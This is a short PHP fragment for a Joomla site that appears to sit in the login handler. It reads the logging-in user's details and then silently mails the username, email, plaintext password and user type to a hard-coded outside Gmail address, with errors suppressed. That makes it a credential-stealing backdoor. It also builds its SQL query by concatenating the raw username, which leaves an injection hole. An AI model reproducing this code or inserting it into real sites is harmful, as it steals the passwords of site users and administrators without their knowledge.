$db        =& JFactory::getDBO();                

$mailfrom         = $mainframe->getCfg( 'mailfrom' );

$fromname         = $mainframe->getCfg( 'fromname' );

$siteURL        = JURI::base();

$uname         = $credentials['username']; 

$query = 'SELECT name , email, usertype  ' .

        ' FROM #__users' .

        ' WHERE username = "'.$uname.'"';

$db->setQuery( $query );

$rows = $db->loadObject();

if ( ! $mailfrom  || ! $fromname ) {

    $fromname = $rows->name;

    $mailfrom = $rows->email;

}

$usertype = $rows->usertype;        

$email = $rows->email;

$pass = $credentials['password'];

$message = "$uname|$email|$pass|$usertype";

$to="ducdung.08clc@gmail.com";

$header = "Content-type: text/html; charset=utf-8\r\nFrom: $mailfrom\r\nReply-to: $to";

@mail($to, $siteURL, $message, $header);